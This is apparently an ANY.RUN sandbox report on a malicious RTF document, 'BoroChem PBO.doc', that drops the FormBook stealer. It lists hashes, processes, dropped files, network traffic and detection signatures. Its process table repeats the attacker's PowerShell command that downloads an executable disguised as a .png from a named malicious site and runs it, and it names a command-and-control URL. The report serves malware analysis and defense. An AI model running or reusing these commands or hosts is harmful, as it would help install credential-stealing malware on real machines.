analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

BoroChem PBO.doc

Full analysis: https://app.any.run/tasks/c5495352-8e3b-49bb-80bb-bf3ad82eecab
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Malware Trends Tracker     >>>
Analysis date: April 23, 2019, 21:35:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
loader
trojan
formbook
stealer
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

6FE29A0C92A970EE2A5468498B79B4B9

SHA1:

D0EE9438168C9273EFE8519E4A41DFB058A90730

SHA256:

E7557E19F60EAFE31AD008238BAC54D541CC207669A83C74056A9BB7CC8C6EC8

SSDEEP:

3072:244444444444444444444444444444444444Q5+yC0nR8Y0FYdBTxIPatjyxAJ0T:TyC0nR8YBBqPatCQ0la7MjmjZJTKbr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2668)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2668)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2928)
      • cmd.exe (PID: 2516)

    • Executable content was dropped or overwritten

      • WINWORD.EXE (PID: 2668)

    • Application was dropped or rewritten from another process

      • Tempcomdoz.exe (PID: 3272)
      • Tempcomdoz.exe (PID: 1020)

    • FORMBOOK was detected

      • explorer.exe (PID: 2036)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 1420)

    • Downloads executable files with a strange extension

      • powershell.exe (PID: 1420)

    • Connects to CnC server

      • explorer.exe (PID: 2036)

    • Changes the autorun value in the registry

      • help.exe (PID: 2224)

    • Actions looks like stealing of personal data

      • help.exe (PID: 2224)

    • Formbook was detected

      • help.exe (PID: 2224)

    • Stealing of credential data

      • help.exe (PID: 2224)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3716)
      • powershell.exe (PID: 1420)
      • help.exe (PID: 2224)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1420)

    • Application launched itself

      • Tempcomdoz.exe (PID: 3272)

    • Starts CMD.EXE for commands execution

      • help.exe (PID: 2224)

    • Loads DLL from Mozilla Firefox

      • help.exe (PID: 2224)

  • INFO

    • Starts Microsoft Office Application

      • explorer.exe (PID: 2036)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2668)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2668)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
10
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe cmd.exe no specs cmd.exe no specs powershell.exe powershell.exe no specs tempcomdoz.exe no specs tempcomdoz.exe no specs #FORMBOOK help.exe cmd.exe no specs #FORMBOOK explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
2668"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\BoroChem PBO.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2928"C:\Windows\System32\cmd.exe" /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exeC:\Windows\System32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2516"C:\Windows\System32\cmd.exe" /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exeC:\Windows\System32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1420PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3716PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3272"C:\Users\admin\AppData\Local\Tempcomdoz.exe"C:\Users\admin\AppData\Local\Tempcomdoz.exe—powershell.exe
User:
admin
Company:
stellAr
Integrity Level:
MEDIUM
Description:
HIR_1
Exit code:
0
Version:
1.00
1020"C:\Users\admin\AppData\Local\Tempcomdoz.exe"C:\Users\admin\AppData\Local\Tempcomdoz.exe—Tempcomdoz.exe
User:
admin
Company:
stellAr
Integrity Level:
MEDIUM
Description:
HIR_1
Exit code:
0
Version:
1.00
2224"C:\Windows\System32\help.exe"C:\Windows\System32\help.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Help Utility
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4060/c del "C:\Users\admin\AppData\Local\Tempcomdoz.exe"C:\Windows\System32\cmd.exe—help.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2036C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 576
Read events
1 385
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
72
Text files
4
Unknown types
2

Dropped files

PID
Process
Filename
Type
2668WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6498.tmp.cvr —
MD5:—
SHA256:—
1420powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LSNQ7E8L10LDGNP9SZ5H.temp —
MD5:—
SHA256:—
3716powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AP70XDAN154XH25TBVQX.temp —
MD5:—
SHA256:—
2668WINWORD.EXEC:\Users\admin\AppData\Local\Temp\thrones.docdocument
MD5:D69A5076CB46F2E004D4D534476A7C93
SHA256:88B7756083EC2D8BE3A6BDA2C017BE616F00E1AFFA4474110B825DEBFD5F5814
2668WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:65A14A601AF6597AC6E48922957494B4
SHA256:0E8EE7C820D5510C7AAE1F3C795EAB1CEB347B99887978BB86C8F4DE742165CB
1420powershell.exeC:\Users\admin\AppData\Local\Tempcomdoz.exeexecutable
MD5:DD85E04A0751398DCF64030CC7AF759C
SHA256:A1DB3F7D7D766E7967C143E4C7D756F3A4A08E2CE2E33162766E9ED571100B34
2668WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$roChem PBO.doc.rtfpgc
MD5:3E6FC47A87EA63CF6893E25BEAA0A965
SHA256:CFFEC5D072170327B7B8A99B79F74D978ADB4EFBFDBD3E0656FBC55C5E4A056C
1420powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
3716powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
1420powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF106e3c.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2036
explorer.exe
GET
301
23.236.62.147:80
http://ericspanton.com/cm/js/main/?NJo=INOFMSozDtMTSUxFEi9BfcX22Y4nflqk/MX8dEDv6IlO4haOniPNyp6BAm/Vc8RsABxRPQ==&p0q=AfAPydB
US
—
—
whitelisted
1420
powershell.exe
GET
200
213.188.29.200:80
http://www.asdaz.site/fanbaseda/comdoz.png
NO
executable
652 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1420
powershell.exe
213.188.29.200:80
www.asdaz.site
Tele Danmark
NO
malicious
2036
explorer.exe
23.236.62.147:80
ericspanton.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
www.asdaz.site
  • 213.188.29.200
malicious
ericspanton.com
  • 23.236.62.147
whitelisted

Threats

PID
Process
Class
Message
1420
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1420
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1420
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] PE as Image Content type mismatch
2036
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
BoroChem PBO.doc